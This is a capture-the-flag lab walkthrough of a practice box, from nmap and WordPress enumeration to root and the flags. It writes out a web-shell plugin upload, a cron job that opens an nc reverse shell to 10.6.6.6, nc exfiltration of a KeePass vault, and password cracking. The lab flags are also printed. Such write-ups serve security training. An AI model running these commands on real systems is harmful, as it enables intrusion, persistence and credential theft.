Nmap Results

# Nmap 7.95 scan initiated Wed Jan 28 17:24:13 2026 as: /usr/lib/nmap/nmap -Pn -p- --min-rate 2000 -sC -sV -oN nmap-scan.txt 10.9.9.40
Nmap scan report for 10.9.9.40
Host is up (0.00039s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
66/tcp open  http    WEBrick httpd 1.4.2 (Ruby 2.5.5 (2019-03-15))
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-server-header: WEBrick/1.4.2 (Ruby/2.5.5/2019-03-15)
80/tcp open  http    Apache httpd 2.4.38
|_http-title: 404 Not Found
|_http-server-header: Apache/2.4.38 (Debian)
Service Info: Host: 127.0.1.1

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jan 28 17:24:26 2026 -- 1 IP address (1 host up) scanned in 12.69 seconds

echo -e '10.9.9.40\t\tgrotesque.hmv' | sudo tee -a /etc/hosts

Service Enumeration

TCP/80

Directory and File Enumeration

gobuster dir -u http://grotesque.hmv -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php -t 20 -o dir.txt

/javascript           (Status: 301) [Size: 319] [--> http://grotesque.hmv/javascript/]
/server-status        (Status: 403) [Size: 278]

Nothing to useful found here, so moving onto the other web server on tcp/66.

TCP/66

Initial Enumeration

curl -O http://grotesque.hmv:66/vvmlist.zip

unzip vvmlist.zip

cd vvmlist.github.io

Source Code Review

We need a more efficient way to parse all of these .md files. But, it seems apparent that most of the useful information is on the left side of the colon.

Hunting for Clues in Documents

Command to Filter Junk YAML Keys

find _vvmlist/*.md | xargs -I {} bash -c 'cat "{}" | tr "\n" "%" | sed -e "s/dddd:%    -//g" -e "s/%/\n/g" | grep -vE "^\s{1,}$" > "{}.new"'

Stepping through the One-Liner

First, replace \n characters with % because % doesn't appear anywhere else in the file.

Pipe to sed and replace dddd:% -% keys and values, then replace % with \n again to bring it back to the original format.

Finally, pipe to grep and filter out any empty lines. And, the result is a YAML document with junk duplicate keys removed.

pwsh

# Try / Catch
# If error, suppress silently
# Otherwise, return data in try block
$data = Get-ChildItem ./_vvmlist/*.md.new | ForEach-Object { try { $_ | Get-Content | ConvertFrom-Yaml } catch { } }

$data.functions.Keys | Sort-Object -Unique

intext:sense intext:"hackthebox" intext:lyricsblog

Pivot Back to TCP/80

WPScan Enumeration

read -s 'API_KEY?Enter your WPScan API key: '

wpscan --url http://grotesque.hmv/lyricsblog/ -e \
--detection-mode aggressive --plugins-detection mixed \
--api-token "$API_KEY" \
--disable-tls-checks \
-o wpscan-out.txt

Logging into WordPress Admin

cat << EOF > doktor_lyrics.txt
Çaresiz derdimin sebebi belli
Dermanı yaramda arama doktor
Şifa bulmaz gönlüm senin elinden
Boşuna benimle uğraşma doktor

Aşk yarasıdır bu ilaç kapatmaz
Derdin teselli beni avutmaz
Dermanı yardadır sende bulunmaz
Boşuna benimle uğraşma doktor
Dokunma benim gönül yarama
Dokunma doktor

Bedenimde değil kalbimde derdim
Tek alışkanlığım bir zalim sevdim
Sen çekil yanımdan sevdiğim gelsin
Boşuna zamanı harcama doktor
EOF

md5sum doktor_lyrics.txt | cut -d ' ' -f 1 | tr '[:lower:]' '[:upper:]'

Exploit

Reverse Shell via Malicious Plugin

wwwolf-php-webshell/webshell.php at master · WhiteWinterWolf/wwwolf-php-webshell

WhiteWinterWolf’s PHP web shell. Contribute to WhiteWinterWolf/wwwolf-php-webshell development by creating an account on GitHub.

GitHubWhiteWinterWolf

sudo rlwrap nc -lnvp 443

Persistence

crontab -l > /tmp/.crontab.txt
echo '* * * * * /usr/bin/nc 10.6.6.6 443 -e /bin/bash' >> /tmp/.crontab.txt
crontab /tmp/.crontab.txt

Post-Exploit Enumeration

Operating Environment

Linux grotesque 4.19.0-13-amd64 #1 SMP Debian 4.19.160-2 (2020-11-28) x86_64 GNU/Linux

PRETTY_NAME="Debian GNU/Linux 10 (buster)"
NAME="Debian GNU/Linux"
VERSION_ID="10"
VERSION="10 (buster)"
VERSION_CODENAME=buster
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"

uid=33(www-data) gid=33(www-data) groups=33(www-data)

bash: sudo: command not found

Users and Groups

raphael:x:1000:1000:,,,:/home/raphael:/bin/bash

raphael:x:1000:

Network Configurations

ens18: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether bc:24:11:0d:bf:27 brd ff:ff:ff:ff:ff:ff
    inet 10.9.9.40/24 brd 10.9.9.255 scope global dynamic ens18
       valid_lft 6739sec preferred_lft 6739sec
    inet6 fe80::be24:11ff:fe0d:bf27/64 scope link 
       valid_lft forever preferred_lft forever

tcp   LISTEN     0      80              127.0.0.1:3306            0.0.0.0:*

Scheduled Tasks

cat /etc/cron*

@reboot root /root/vvmlist.sh

Interesting Files

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress_db' );

/** MySQL database username */
define( 'DB_USER', 'raphael' );

/** MySQL database password */
define( 'DB_PASSWORD', '_double_trouble_' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

Privilege Escalation

Lateral to Raphael

Password Reuse

During post-exploit enumeration, wp-config.php shows the database connection is configured with the username raphael and the password _double_trouble_. We find that raphael is also a system user as per /etc/passwd. So, it's worth checking to see if the password is re-used as the system login.

su raphael

Cracking the KeePass Vault

sudo nc -q 3 -lnvp 443 > chadroot.kdbx

nc -q 3 -n 10.6.6.6 443 < /home/raphael/.chadroot.kdbx

keepass2john chadroot.kdbx > hash.txt

john --wordlist=~/Pentest/WordLists/rockyou.txt --fork=4 hash.txt

Becoming Root

keepassxc-cli open chadroot.kdbx

su root

Flags

F6ACB21652E095630BB1BEBD1E587FE7

AF7DD472654CBBCF87D3D7F509CB9862